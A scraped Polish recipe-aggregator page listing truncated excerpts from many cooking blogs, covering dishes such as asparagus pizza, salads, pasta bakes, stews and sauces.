Pizza ze szparagami, szalotką i jajkiem 229

prawie całkowicie ścięte, a żółtko dalej płynne. Wyjmujemy pizzę z piekarnika, posypujemy pozostałym serem Pecorino, lekko skrapiamy cytryną, solimy i pieprzymy jajko. Podajemy od razu. Nie jest potrzebny żaden sos – miękki ser robi robotę. Można tez odkrajać fragmenty placka od zewnątrz i maczać je sobie w płynnym żółtku. I koniecznie jeść szybko, bo ci co skończą pierwsi pytają, czy zostawisz

Karo in the Kitchen
Ekspresowy deser lodowy 154

szybko dla ochłody czyli deser lodowy. Brzoskwinia, biszkopty, sos kiwi oraz trufle a do tego lody śmietankowe to fajne połączenie. Rozwiń i czytaj przepis

Ewa w kuchni
Sałatka z zielonymi szparagami i jajkiem w koszulce 185

pomidory malinowe - 1 pęczek zielonych szparagów (ok. 10 sztuk) - 1 opakowanie gorgonzoli (200 g) jeśli gorgonzola jest dla Was zbyt intensywna, dodajcie jej mniej - 4 jajka Do przygotowania sosu będziemy potrzebować: - 4-5 łyżek oliwy z oliwek - 2 łyżeczki miodu - sok z połowy cytryny - 1 łyżeczkę słodkiej papryki - sól i pieprz 1. Odcinamy twardą końcówkę szparagów, a następnie obieramy

Bez Cebuli
ZAPIEKANY MAKARON Z KURCZAKIEM 213

dodajemy do mięsa i jeszcze przez chwilę podsmażamy aż cebulka będzie miękka.Następnie dodajemy pomidory z puszki i dusimy ok.10-15 min.doprawiając solą pieprzem i oregano.Makaron wrzucamy do naszego sosu dokładnie mieszamy i przekładamy do naczynia żaroodpornego.Na wierzchu posypujemy startym żółtym serem i oprószamy jeszcze oregano.Ja dodatkowo jeszcze położyłam kawałki sera żółtego. Całość wstawiamy do piekarnika nagrzanego do 180C

Mała w garnku miesza
Makaron ze szparagami a’la carbonara 216

połowę startego sera. Jajka roztrzepujemy widelcem. Odcedzamy makaron i dodajemy na patelnię (koniecznie gorący). Zdejmujemy ją z ognia i dodajemy masę jajeczną, całość mieszamy. Jajka powinny stworzyć delikatny kremowy sos. Podajemy na ciepło posypany resztą sera i/lub natką pietruszki. Smacznego

Kolizje Smaków
Sałatka na gorąco ze szparagami i grillowanymi warzywami 189

szparagów dodaję soku z cytryny, która wydobywa ich pełny smak.  Sałatki ze szparagów i grillowanych warzyw możecie użyć jako dodatek do dania głównego lub podać je z ulubionym sosem (proponuję beszamelowy lub cytrynowy z dodatkiem rozmarynu).  Oczywiście, jeśli tylko macie ochotę możecie przygotować szparagi według moich innych przepisów-zapraszam na  Szparagi z masłem cytrynowym i parmezanem

kulinarnyJa
Kurczak po włosku - z ziołami w pomidorach 192

Kruche i soczyste udka w pomidorowym sosie z aromatycznymi ziołami jest świetnym pomysłem na obiad. Pomidory mają słodkawy posmak dzięki dodatkowi miodu. 5 dużych udek Przyprawa do kurczaka 2 łyżki miodu 0,5 łyżeczki suszonej bazylii 0,5 łyżeczki ziół prowansalskich 0,5 łyżeczki lubczyku 1 puszka krojonych pomidorów 1 łyżka maggi 150 g sera feta 125 g ryżu

VioletoweKucharzenie
OWOCOWA SAŁATKA DO SŁOIKA 191

brzoskwinię. Kolejną warstwe zajmują jabłka. Następnie kładę ananasa. Na sam koniec kładę borówki. Odstawiam do lodówki na min 30 min przed podaniem, owoce puszczą sok. Sałatka owocowa z własnym sosem

Gotowanie Patki
Sznycle z indyka w pieczarkach 195

podlewam wodą i duszę pod przykryciem aż mięso będzie miękkie, w trakcie dodaję musztardę doprawiam do smaku solą oraz pieprzem,  podczas  duszenia  część płynu odparuje a sos zgęstnieje.  Nie ma potrzeby zagęszczania.  Przed podaniem oprószyć świeżo posiekaną natką , podawać z młodymi ziemniakami. Smacznego

Wanilia i Kardamon
Udka pieczone w marynacie ketchupowej. 182

formy do zapiekania. Podlewamy wodą, tak aby dno było nią pokryte. Wstawiamy do piekarnika nagrzanego do 180C i pieczemy około 1 godz. Co jakiś czas udka polewamy powstałym sosem. Jeśli wyparuje , mięso co jakiś czas podlewamy wodą.   Smacznego

Radość kipiąca uśmiechem.
Szaszłyki z mięsa mielonego w sezamie 160

dodatkowo kilka suszonych pomidorów, śmietanę ( około 100 ml ) i łyżeczkę mąki. Całość miksujemy. Ewentualnie doprawiamy solą. Ponownie umieszczamy na patelni. Zagotowujemy, od czasu do czasu mieszamy. Szaszłyki wkładamy do sosu. Wszystko razem gotujemy kilka minut na wolnym ogniu pod przykryciem. Przed podaniem możemy usunąć patyki. SMACZNEGO. (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject

Smaki Ewy
Kurczak z jarmużem, mozarellą i suszonymi pomidorami 227

trzeba wiele - smaki same w sobie są doskonałe. W pierwotnym zamyśle miałam wymieszać z gotowanym tagliatelle na patelni - tak jak lubimy, by ten makaron tak cudownie się oblepił sosem! Ale zrezygnowałam z tego pomysłu i na talerzach podałam osobno (tego już nie zdążyłam uchwycić, bo się głodomory dopadły:)). Szczególne wyrazy uznania za kolejne pyszne danie składała Zuzia: "Mamusiu, pyśne

Kolorowy Przepisownik
WARSZTATY KULINARNE DLA SENIORÓW W KUCHNI IKEA 188

zaszczyt poprowadzić trzy edycje warsztatów kulinarnych dla seniorów w Kuchni IKEA. Wszyscy uczestnicy byli zadowoleni i najedzeni, co traktuję jako mój wielki sukces. Wspólnie ugotowaliśmy ciecierzycę z cukinią w sosie pomidorowym, duszoną kapustę czerwoną z tempeh, ciasteczka owsiane z bananem, gorzką czekoladą i nasionkami chia, ciasto marchewkowe z ananasem i wiele wiele innych dań. Udane warsztaty zaowocowały zaproszeniem do poprowadzenia

Looking for Cooking
Zupa ze szparagami, ziemniakami i koperkiem 236

ząbek czosnku 1 łyżka masła klarowanego 1500 g bulionu warzywnego 600 g ziemniaków (obranych i pokrojonych w grubą kostkę) pęczek zielonych szparagów 2 miarki śmietany 18% do zup i sosów (miarka jest załączona do TM – przykrywamy nia pokrywę) koperek sól, pieprz Thermomix przepisy. Zupa ze szparagami, ziemniakami i koperkiem. Wykonanie: Do naczynia Thermomix dajemy obraną i pokrojoną

Themo przepisy
Pasta kanapkowa z tuńczyka i ciecierzycy 161

Cześć Wszystkim! :) Dziś zapraszam na bardzo prostą pastę kanapkową z tuńczyka i ciecierzycy. Do przygotowania potrzebujemy: - puszkę ciecierzycy (400 g, po odsączeniu 240 g) - puszkę tuńczyka w sosie własnym (170 g, po odsączeniu 120 g) - 1-2 łyżki majonezu (można zamienić na jogurt grecki) - 1-2 łyżki pikantnego ketchupu - sól i pieprz do smaku 1. Ciecierzycę oraz tuńczyka odsączamy

Bez Cebuli
Tajski gulasz 226

imbir, koniecznie musiał się znaleźć w poniższym gulaszu. 0,5 kg wieprzowiny 2 marchewki 1 pietruszka 2 ząbki czosnku 1 mały por pół łyżeczki chili 5 łyżek sosu sojowego 1 łyżeczka mączki ziemniaczanej pół łyżeczki carry pół łyżeczki startego imbiru pół łyżeczki cynamonu sól, pieprz mąka olej do smażenia Wieprzowinę pokroić w kostkę, posolić, popieprzyć, opruszyć mąką pszenną

Jadło i czytadło
Zapiekanka makaronowa z pomidorkami, mozarellą i oliwkami 237

seler naciowy, dodać cebulę. Smażyć razem, aż warzywa zmiękną. Dodać czosnek i pomidorki z puszki. Doprawić solą, pieprzem i oregano. Wymieszać i zdjąć z ognia.  Wymieszać makaron z sosem.  Przełożyć do naczynia żaroodpornego (25x25cm), wymieszać z mozzarelkami i oliwkami. Posypać żółtym serem.  Wstawić do piekarnika nagrzanego do 200 stopni na 20-25 minut, aż makaron się zarumieni

Kulinarne Inspiracje
Ryż z kurczakiem, suszonymi pomidorami i oliwkami 233

Pamiętacie szpinakowe szaleństwo z patelni? To danie przygotowałam na trochę podobnej zasadzie – wykorzystałam kurczaka, suszone pomidory oraz czarne oliwki. Do tego wszystkiego sos jogurtowy z czosnkiem i koperkiem. Do przygotowania potrzebujemy: 200 g ryżu 100 g czarny oliwek 1 mała cebula ok 300 – 400 ml bulionu ok 150 g suszonych pomidorów spora garść posiekanej, świeżej pietruszki

Szybko Tanio Smacznie
Pieczone kulki ziemniaczane z serem 201

ziemniaczane w środku z serem. Ja użyłam sera gruyere, ale jeśli go nie macie możecie użyć innego.Świetny dodatek do obiadu. Smaczny i syty. Kuleczki podawać ze swoim ulubionym sosem. Więcej przepisów na dania ziemniaczane znajdziecie w zakładce PRZEKĄSKI Szczególnie polecam roladę ziemniaczaną w waflu Składniki 1 kg ziemniaków 1 jajko 100 g sera gruyere szczypta gałki muszkatołowej sól pieprz

O kuchni z uczuciem
KLASYCZNE PANCAKES Z JAGODAMI I SOSEM KLONOWYM 176

KLASYCZNE PANCAKES to tradycyjne, amerykańskie placuszki, które najlepiej smakują podawane z... Artykuł KLASYCZNE PANCAKES Z JAGODAMI I SOSEM KLONOWYM pochodzi z serwisu CookMagazine

COOKMAGAZINE
Bitki w sosie 172

Bitki w sosie marchewkowym.. schab lub polędwica cebula marchewka susz warzywny   koncentrat pomidorowy sól, pieprz listek, ziele, majeranek bulion  Mięso pokroić w plastry , można lekko rozbić tłuczkiem.Mięso podsmażyć na patelni, dodać cebule, susz warzywny, starte na tarce marchewki oraz przyprawy.Zalać wszystko bulionem, dodać koncentrat .Dusić aż mięso będzie miękkie.W razie potrzeby dolać wody

Moje domowe kucharzenie
Pizza ze szparagami, szynką parmeńską i fetą 176

jeszcze nie jeden przepis ze szparagami ujrzycie w tym roku na blogu, dopóki będą dostępne.  Banalnie prosta pizza, doskonałe, cienkie ciasto i chrupiący spód a do tego lekki sos, żółty ser, szparagi, feta, szynka parmeńska i świeża bazylia. To są smaki, które uwielbiam.  Co do ciasta na pizze, to mam swoją własną, prywatną technikę wykonywania spodu. Zazwyczaj wszystko

Mango Papaja
Biała zupa szparagowa z serem parmezan 203

zupa szparagowa z serem parmezan Zielone szparagi natomist, goszczą u mnie w domu dość często, gdyż albo nadziewam nimi piersi kurczaka, albo gotuję je al dente i podaję z sosem holenderskim albo robię z nich zupę. Według mnie białe szparagi są mniej intensywne w smaku aniżeli zielone, dlatego też warto jest je łączyć z wyrazistymi składnikami takimi jak chociażby

mecooks
Zapiekanka farmerska z białą kiełbasą 612

danie to uczynić bardziej zdrowym, można podać jako dodatek sałatkę. Najbardziej pasowałaby tutaj taka, która nie wpłynie na smak potrawy, więc proponuję sałatę masłową ze śmietaną lub z sosem winegret. Sałatkę należy podawać w osobnych miseczkach. SKŁADNIKI 600 g białej kiełbasy (parzonej) 5 dużych cebul 1,4 kg ziemniaków olej rzepakowy majeranek, przyprawa do ziemniaków WYKONANIE Piekarnik rozgrzać do temperatury

Passions hobbies life
Szybki bigos ze słodkiej kapusty 368

szybko się rozgotowuje w  połączeniu z mięsem , które jednak wymaga dłuższej obróbki.  Jednak za chwilę, bo już jutro zapraszam na gołąbki z młodej kapusty z ziemniakami w sosie śmietanowym. Składniki : 1 główka kapusty ( 1,5 kg) 600 g karczku b/k 2 średnie cebule 200 g świeżych brązowych pieczarek 6 wędzonych śliwek sól pieprz do smaku 1 łyżka majeranku

Gosia gotuje
Przepis z Kaszą Bulgur – Pyszna Sałatka z Kaszą Bulgur i Awokado 299

idealnie nadaje się do zabrania na przykład do pracy. Polecam wypróbować przepis. Do przygotowania sałatki będziemy potrzebować : 200 g kaszy bulgur 300 g pomidorów 1 puszka tuńczyka kawałki (w sosie własnym lub oleju) 1 ogórek sałatkowy (około 200 g) 1 awokado 1 cebula czerwona (około 80 g) około 20 oliwek zielonych lub czarnych garść świeżych listków bazylii kilka listków mięty

Uwaga Babcia Gotuje
Mini naleśniki (zdrowsza wersja) / Mini pancakes (healthy version) 192

ciasto jest za gęste dodajemy trochę wody i mieszamy. Smażymy naleśniki na patelni z obu stron. Po usmażeniu wszystkich naleśników dekorujemy je według gustu. Ja posmarowałam naleśniki dżemem, dodałam sos owocowy i świeże owoce. Przed podaniem posypałam całość cukrem pudrem. Prosto i smacznie! *****   First, we separate proteins from yolks. We whip the proteins into rigid foam. Then, we make

Projekty ze smakiem
Kiełbasa zapiekana w tortilli 300

Składniki: 2 tortille o średnicy 30 cm Fanex 3 białe kiełbasy 2 średnie cebule 10 dkg sera żółtego zioła prowansalskie słodka papryka sos słodkie chili Przygotowanie: Cebulę pokroić w piórka … Czytaj dalej Kiełbasa zapiekana w tortilli

czarrna od kuchni
Makaronowe wstążki, warzywa i krewetki w sosie piwnym 155

jednej strony a warzywa zmiękną w trakcie gotowania makaronu. Zatem nie zastanawiać się za długo radzę tylko popróbować zrobić ten pyszny obiad. Makaronowe wstążki, warzywa i krewetki w sosie piwnym. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Tarta francuska z łososiem i brokułem 231

Składniki: opakowanie ciasta francuskiego 1 filet z łososia 1/2 brokuła 1 cebula 2 ząbki czosnku sos: 100 ml śmietanki 30% 3 jajka 3/4 szklanki mleka 1/2 szklanki startego sera (mieszanka parmezanu, cheddar/gouda) 3 łyżki startego parmezanu sól, pieprz, 1/2 łyżeczki gałki muszkatałowej Przygotowanie: Piekarnik rozgrzać do temperatury 200 stopni. Formę na tartę naoliwić lub posmarować masłem. Wyłożyć ciasto francuskie

Jaglusia
Młode ziemniaczki z boczkiem z grilla 240

Przepyszne grillowane młode ziemniaczki owinięte boczkiem. Prosta potrawa, która smakuje wyśmienicie. Polecam Składniki: 15 młodych ziemniaczków (małych) 15 cienkich plasterków boczku oliwa z oliwek Dodatkowo: 15 wykałaczek sos ziołowy „Winiary” w butelce Przygotowanie: Ziemniaczki skrobiemy i gotujemy w osolonej wodzie. Odcedzamy. Następnie delikatnie smarujemy oliwą z oliwek, owijamy boczkiem i spinamy wykałaczką. Grillujemy da czasu, aż boczek się

Oryginalny smak
Gulasz wieprzowy z groszkiem 196

Miękkie, soczyste mięso w wyrazistym sosie z dodatkiem zielonego groszku to pyszna propozycja na wiosenny obiad. W towarzystwie ryżu lub kaszy będzie idealnym obiadem dla całej rodziny zarówno na te chłodne dni jak i te cieplejsze. Poza tym dania jednogarnkowe są szybkie do przygotowania i idealne dla osób, które nie mają czy na gotowanie bardziej złożonego obiadu. Do przygotowania dania

Bernika - moj kulinarny pamietnik
pizza z komosy ryżowej 260

cienką warstwą na blaszkę wyłożoną papierem do pieczenia i wkładamy na 15 minut do gorącego piekarnika (200°C). Po 15 minutach wyciągamy blaszkę i na ciasto nakładamy nasze dodatki: sos, cebulka, papryka, domowa wędlina – wszystko na co mamy obecnie ochotę! Pieczemy kolejne 15 minut. Gotowe. Smacznego

Gar Zdrowia
Sałatka ze szpinakiem, łososiem i szparagami 216

dużym półmisku. Pomidorki przekroić na pół, łososia rozdrobnić, rozsypać na szpinaku. Na sałatkę pokruszyć fetę, posypać prażonymi ziarnami, oprószyć solą i pieprzem a całość skropić oliwą. Sałatkę można polać sosem winegret

Smakołyki Asi
Mizeria w moim wydaniu 232

skórka z cytryny do smaku Przekrój ogórka na pół, następnie pokrój na cienkie plasterki. Pokrój rzodkiewki. Umieść warzywa w obszernej misce, dodaj zioła i wymieszaj. W oddzielnym naczyniu przygotuj sos. Wymieszaj jogurt z musztardą, przeciśniętym przez praskę czosnkiem, oliwą, sokiem i otartą skórką z cytryny i pokruszonym serem. Dopraw solą i ewentualnie pieprzem. Dodaj do warzyw i wymieszaj. Sałatka jest

codojedzenia
Pizza na spodzie z ziemniaków. Recenzja książki Superfood Damiana Kordasa 211

czosnek, jajko i mąkę (ok pół szklanki).Zagnieć ciasto. Wyłóż na papier formując pizzę. Wstaw na blachę do pieczenia i piecz w 220 stopniach 15 minut. W międzyczasie przygotuj sos. Do passaty wciśnij czosnek, dodaj sól, oliwę, oregano. Wymieszaj Wylej na podpieczony spód. Rozłóż kapary oliwki i groszek. zapiekaj jeszcze 15 minut.  Usmaż stek z tuńczyka oprószonego solą

AZgotuj!
Pierś drobiowa w sosie śmietanowo - musztardowym wg Aleex 192

działać i zdobyć to, co jest nam potrzebne. A ponieważ mojemu mężowi potrzebny był dzisiaj pyszny obiad, zanim wyruszyłam do pracy, przygotowałam dla niego przepyszne danie: pierś kurczaka w sosie śmietanowo – musztardowym. Przepis dostałam od koleżanki z pracy (dziękuję). Pyszne! Polecam. Składniki: • 750 g piersi kurczaka lub indyka • 1 duża cebula • 350 g śmietany 18 % • 6 łyżek musztardy sarepskiej

W mojej kuchni
Curry z kalafiora 178

/woka. Dodajemy ciecierzycę razem z zalewą oraz mleko kokosowe. Dolewamy ok. 100 ml wody i dusimy pod przykryciem. Pod koniec duszenia dodajemy przyprawy, mieszamy i gotujemy bez przykrycia, aż sos odparuje. Smacznego

Kucharzyca
SAŁATKA MAKARONOWA ZE SZPARAGAMI 137

bardzo smacznie - wiosna w  mojej kuchni w pełni. Składniki:   ok 20 dag makaronu kokardki 1 pęczek zielonych szparagów gałązka pomidorków koktajlowych  mix sałat ( wg uznania)   Sos:   2 łyżki oliwy z oliwek 1 łyżka octu balsamicznego sól,biały pieprz Makaron ugotować al dante w lekko osolonej wodzie,odcedzić. Szparagi umyć,usunąć zdrewniałe końcówki i gotować

Niespełnione zdolności kulinarne
Kuchenne gadżety, które umilą i ułatwią pracę 205

rekach ? A użycie obieraczki jest naprawdę proste. Możecie zobaczyć, to na tym filmie  U nas bardzo często dodaje się czosnek do wielu potraw, pizz lub przygotowuje domowy sos czosnkowy. A na koniec coś czego nie może zabraknąć w moim domu – otwieracz do słoików. Uwielbiam ten gadżet! Co roku przygotowuję duże ilości domowych przetworów. Niestety późniejsze ich otwieranie

Słodkie okruszki
Ziemniaki zapiekane z pikantną marynatą 218

zrumienienia. Pod koniec pieczenia można opcjonalnie posypać ziemniaki odrobiną startego żółtego sera. (Jeśli pieczecie surowe ziemniaki, wtedy potrzebują więcej czasu, ugotowane znacznie mniej.) Takie ziemniaki najbardziej smakują z ziołowymi sosami na bazie twarożku lub naturalnego jogurtu. Czy próbowaliście tych dań z ziemniaków?... Wiosenne kolorowe ziemniaczki z twarożkiem Pyry z gzikiem

Codzienna kuchnia niecodzienna
Placki z cukinii ze świeżymi ziołami. 180

minut Placki patelni mogą być nieco grubsze niż te w które zamierzamy piec w piekarniku. Opcjonalnie można dodać jeszcze szczypiorek lub inne ulubione zioła. Smacznego Można podawać z sosem pieczarkowym ->przepis tutaj

rozgotowana
Sprawdzone przepisy na grilla! 369

grilla! Szisz kebab: wołowina na grilla! WIEPRZOWINA: Szaszłyki wieprzowe z polędwicy DODATKI: Czatnej z mango i cebuli Marynowana cebula – do mięs i na grilla Ketchup z cukinii Ziołowy sos pomidorowy z cukinii Szaszłyki caprese Pieczone ziemniaki: spiralki z ziemniaków

MarcinChef
pory na maśle 309

tylko zgnieciony nożem – obsmażyć pory na brązowo z każdej strony. Dodać łyżkę masła, kiedy się rozpuści, wlać białe wino, dodać jeszcze ze dwie łyżki masła. Pory polewać powstałym sosem, patelnię przykryć, ale niezbyt szczelnie, dusić około 10 – 15 minut. Kiedy pory będą gotowe, przełożyć na półmisek, posypać grubo posiekaną natką pietruszki i pokruszonymi orzechami laskowymi

stajnia gołębie od kuchni
WEGETARIAŃSKIE CURRY Z CIECIERZYCY 221

dodać kilka łyżek wywaru z potrawy i ponownie wymieszać. Stopniowo wlewać do garnka z potrawą energicznie mieszając łyżką. Gotować całość na umiarkowanym ogniu jeszcze przez ok. 15 minut aż sos się zagęści i nabierze głębszego smaku, w międzyczasie co chwilę zamieszać. Podawać z ryżem i świeżą kolendrą/ natką pietruszki. Można przechowywać w słoiku w lodówce przez

Calzonella.com
Ekspresowa ryba w śmietanowym sosie 184

cytryny Sposób wykonania: 1. Rybę wyłożyć do naczynia żaroodpornego, oprószyć solą i pieprzem. Posypać posiekaną cebulką. 2. Resztę składników przełożyć do rondelka i podgrzewać, aż masło się rozpuści. 3. Sosem polać rybę, całość zapiekać w 175 st. C przez ok 20 minut, aż rybą będzie upieczona. Smacznego!!! Źródło: Kuchenne fascynacje

Kuchnia domowa Ani
Szakszuka ze szpinakiem 242

bułeczki ze szpinakiem Pizza pszenno-żytnia ze szpinakiem Tarta ze szpinakiem i kurczakiem Tarta ze szpinakiem i serem pleśniowym Tarta ze szpinakiem i ricottą Panini z łososiem Spaghetti z sosem szpinakowym. Spaghetti ze szpinakiem i pesto Szpinakowy chłodnik Frittata ze szpinakiem Wiosenny detox, czyli zielony koktajl Szpinakowy koktajl z ananasem ------------------------------------------------------------- Szakszuka ze szpinakiem Czas przygotowania: 30 minut Składniki

Kulinarne przygody Gatity
,,Wiosenna sałatka w szklankach’’ 273

posypujemy ziołami. Filet z kurczaka oczyszczamy kroimy w kostkę, przyprawiamy i smażymy na złoty kolor. Gotowy kurczak nadziewamy po 3 kawałki na krótkie patyczki do szaszłyków. Wszystkie składniki na sos winegret mieszamy i polewamy przed podaniem sałatkę. Na koniec dekorujemy szklanki naszymi szaszłykami z kurczaka

Podróż w kulinaria
42 przepisy z nowalijkami 153

zielonym ogórkiem Sałatka z kukurydzy, z papryką i zielonym ogórkiem Sałatka z kukurydzy, z papryką i zielonym ogórkiem Sałatka z ogórków małosolonych Botwinka z cukinią w delikatnym sosie   Sałatka z ogórkiem, jajkiem i domowym majonezem Woda ogórkowo - cytrynowa Zgrzewane kanapki z liśćmi botwinki Zupa z botwinki Zupa z botwinki z ziemniakami Sałatka z kaszą pęczak i zielonym ogórkiem Woda

Moja smaczna kuchnia
MIZERIA CAŁKIEM INACZEJ 246

jeszcze trochę dłońmi, by szybciej zmiękła) i odstawiamy na ok.10 minut. Śmietanę z jogurtem (lub samą śmietanę lub sam jogurt) mieszamy z obranym, przeciśniętym przez praskę czosnkiem, dealikatnie solimy. Sosem czosnkowym zalewamy cukinię, dokładnie mieszamy, dodajemy także pokrojony koperek. Podajemy najlepiej schłodzone. Smacznego

Smaczne Zdrowe
Przepisy na zdrowe pasty kanapkowe 210

smaku solą, pieprzem i papryką.   2. Pasta jajeczna z tuńczykiem SKŁADNIKI 3 ugotowane na twardo jajka 1 ogórek kiszony 1/2  czerwonej cebuli pół puszki tuńczyka w sosie własnym 1-2 łyżki jogurtu greckiego sól i pieprz do smaku Jajka, ogórka i cebulę pokrój w drobną kostkę. Wymieszaj z tuńczykiem i jogurtem, dopraw do smaku. 3. Pasta jajeczna

Powiedz dietom nie
Pulpeciki w sosie pomidorowym 213

Pulpeciki w sosie pomidorowym z marchewką, pod koniec gotowania można dodać śmietanę [ja akurat nie miałam]. 50 dkg  mielonego mięsa 2 cebule 2 marchewki 1 jajko 4 łyżki tartej bułki 1 szkl.bulionu 4 łyżki koncentratu pomidorowego sól , pieprz listek ,ziele vegeta Zagotować bulion ,dodać do niego pokrojoną 1 cebulkę, obrane i starte na tarce marchewki oraz przyprawy  gotować

Moje domowe kucharzenie
Kiełbaski w sosie paprykowym, czyli obiad w 15 minut 195

Nasze pokolenie należy do tych bardzo zapracowanych i dlatego powroty do domu i gotowanie obiadów powinno być łatwe i proste. Przepis na aromatyczny sos paprykowy ze smażonymi kiełbaskami i ryżem to obiad w kilka chwili i smakuje wyśmienicie. Składniki dla 4 osób: - 2 czerwone papryki - 3 pomidory - 2 czerwone cebule - 3 łyżki koncentratu pomidorowego - olej - sól - pieprz - cebula dymka Dodatkowo

Apetyczna babeczka
Ćwikła czarny bez z chrzanem 201

dodatek do mięs. Chrzan z czarnym bzem jest łagodniejszy, bardziej owocowy. Dobrze pasuje do mięs, kiełbas i jajek – tam gdzie użylibyśmy ćwikły z buraków, żurawiny albo borówek. Ten sos jest jednocześnie kwaśny, gorzki (czarny bez), słodki (mus) i ostry (chrzan) – łączy wszystko co najlepsze. W sezonie (późne lato) możemy zrobić własne przetwory z czarnego bzu np. wg. przepisu

Ugotowane pozamiatane
Wegetariański zestaw II na wiosnę, Blin 217

Obiad w nieco ponad pół godziny. Na zdjęciu: puree ziemniaczane z kilkoma łyżkami ulubionego mleka (spróbujcie, jest bardzo kremowe i puszyste), surówka z sałaty lodowej, żurawiny i sosu winegret, ekspresowe kotlety sojowe z pieczarkami firmy Orico (instrukcje na opakowaniu). Kotlety są produkowane z soi niemodyfikowanej genetycznie. Nie zawierają glutaminianu monosodowego. Alergeny: soja, pszenica, jajo. Mogą zawierać seler.   W Blinie

Qlinarnie i Qlinarnie
Rolada serowa 272

komunię syna i była hitem. Wszystkim bardzo smakowała i najszybciej znikała z talerza. Smakuje zarówno na ciepło jak i na zimno.  Można podawać ją z ulubionym sosem i surówką. Może i Wy skusicie się na taką roladę? Składniki 400 g sera żółtego 5 jajek 3 łyżki majonezu Jajka wbić do miski i ubić mikserem. Dodać majonez, starty żółty

O kuchni z uczuciem
Sałatka z kiełkami, nowalijkami i tuńczykiem 184

mnie słonecznik 2 łodygi selera naciowego - jeśli młode, mogą być wraz z listkami 1 pęczek rzodkiewek 2 ogórki gruntowe 1 garść szczypiorku 1 puszka tuńczyka w kawałkach w sosie własnym DRESSING: 2 łyżeczki soku z cytryny 1 łyżeczka syropu z agawy - można zastąpić miodem, lub w ogóle pominąć 3 łyżeczki oleju rzepakowego sól, pieprz - do smaku Kiełki opłukać z ewentualnych

Grunt to przepis!
Szaszłyki z papryką, cebulą, ogórkiem, boczkiem i suszonymi śliwkami 193

danie grillowe to szaszłyki warzywne z boczkiem i suszoną śliwką. Połączenie to było strzałem w dziesiątkę. Szaszłyki doskonale smakują. To rozkosz dla każdego podniebienia. Można je podawać z ulubionym sosem. SKŁADNIKI: 1 duża papryka czerwona, 1 ogórek, 3 cebule, 10 plastrów boczku parzonego, 10 sztuk suszonych śliwek kalifornijskich HELIO , zioła prowansalskie, sól, pieprz, olej. PRZYGOTOWANIE: 1. Z papryki czerwonej usuwam

Tradycyjna kuchnia Kasi
Burgery z dorsza 145

łyżek bułki tartej - po 2 łyżeczki ostrej musztardy i pikantnego ketchupu - garść posiekanego szczypiorku - łyżeczkę słodkiej papryki - szczyptę soli i pieprzu ziołowego - olej do smażenia - ulubione warzywa i sosy 1. Filety z dorsza kroimy w niewielką kosteczkę i przekładamy do miski. 2. Do ryby dodajemy jajka, ketchup, musztardę oraz porcjami mąkę i bułkę tartą. Całość dokładnie mieszamy. 3. Następnie dodajemy

Bez Cebuli
Szybkie pieczarki w chrupiącej lekko musztardowej panierce 272

Uwielbiam pieczarki. Idealne jako dodatek do najróżniejszych sosów mięsnych, ryżu, sałatek, dań na bazie kapusty (polecam Wam moją wersję młodej kapusty) oraz od tak same w panierce. Dzisiejszy przepis na szybkie pieczarki w chrupiącej lekko musztardowej panierce są wspaniałą propozycją na przyjęcie (w większej ilości), jako dodatek do dań głównych lub jako samodzielne danie ze świeżym pieczywem (osobiście

Słodkie okruszki
Pieczony Udziec z Indyka w naczyniu żaroodpornym 427

minut. Po około 150 minutach zdejmuję pokrywę i piekę jeszcze około 10 minut aby mięso ładnie się zrumieniło od góry. Po upieczeniu mięso od razu wyjmuję z naczynia, sos który zebrał się podczas pieczenia możemy zagęścić mąką i podać z mięsem. Udziec z indyka jest gotowy, można podawać. Życzę smacznego. Pozdrawiam Babcia Ewa   (adsbygoogle = window.adsbygoogle || []).push

Uwaga Babcia Gotuje
Szybka sałatka „Samo zło”;) 415

wrzątku. Sałatka miała dość miękką konsystencję (napęczniały makaron oraz ogórek i mielonka starte na tarce). Mi brakowało czegoś do pochrupania. Myślę, że sałatka mogłaby być lepsza gdyby najpierw przygotować sos i wymieszać go z makaronem, tak by pozostał on choć odrobinę twardawy i lekko chrupiący – rzecz gustu. Mielonki też warto nie dodawać więcej niż jest to określone w przepisie

Smaki Na Talerzu
kiełbasa pieczona w piwie 203

piórka. Posolić, doprawić pieprzem, wymieszać i przełożyć do kiełbasek. Zalać piwem. Wstawić do piekarnika nagrzanego do 160*C. Piec około 50 minut podlewając od czasu do czasu wytwarzającym się sosem. Podawać z ziemniakami lub chlebem

Domowa Cukierenka-Domowa Kuchnia
szybkowar-rosół z kury wiejskiej z młodą włoszczyzną,czosnkiem,kurkumą... 203

szybkowar otworzyć jak sam spuści ciśnienie, wyjąć kurę, rosół do smaku doprawić pieprzem mielonym i przyprawą w płynie podawać z makaronem nitki i natką pietruszki, mięso kury wykorzystałam do sosu śmietanowego na drugi dzień - rosół jest rozgrzewający, aromatyczny........SMACZNEGO

W Mojej Kuchni Lubię
Tarta z łososiem, kozim serem i papryką 166

Przepyszna, rybna tarta z dodatkiem koziego serka i papryki. Kruche ciasto, śmietanowo-serowy sos, czy trzeba czegoś więcej? Czasem z takiego minimalistycznego zestawu składników wychodzą smakowite potrawy. Kto chętny? Składniki: 250g mąki pszennej 150g masła 1 jajko 1/2 łyżeczki soli 300g świeżego łososia 1/2 czerwonej papryki 100g serka koziego 1 jajko 150g śmietany 22% 1 łyżeczka tymianku 1/2 łyżeczki przyprawy

Raj dla Podniebienia
Tarta kokosowo-pomarańczowa z musem z rabarbaru, pomarańczy i passiflory 156

160C. Teraz mus : oczyszczony rabarbar pokroić na kawałki, wrzucić do rondelka, pomarańczę podobnie. Podlać niewielką ilością wody i dusić na wolnym ogniu do połączenia się składników w gęsty sos. Osłodzić syropem. Mus przetrzeć przez sito, aby pozbyć się łusek rabarbaru i białej otoczki pomarańczy. Tartę podawać posypaną cukrem pudrem w towarzystwie musu. /przepis na tartę pochodzi od Czekoladki

Raj dla Podniebienia
Sałatka z brokułem, jajkiem,rzodkiewką i podsmażaną szynką 143

grubszą kostkę. Rzodkiewki i paprykę pokroić na mniejsze kawałki. Na patelni stopić masło, wrzucić pokrojoną w paski szynkę, podsmażyć. Do salaterki przełożyć brokuły, rzodkiewkę, paprykę, pokrojone jajka. Przygotować sos: w kubeczku wymieszać maślankę, śmietanę, majonez oraz musztardę. Doprawić solą i pieprzem. Polać sałatkę, całość wymieszać i schłodzić w lodówce. Artykuł Sałatka z brokułem, jajkiem,rzodkiewką i podsmażaną szynką pochodzi

Raj dla Podniebienia
Sałatka z bobem, kiełkami i serem mozzarella 116

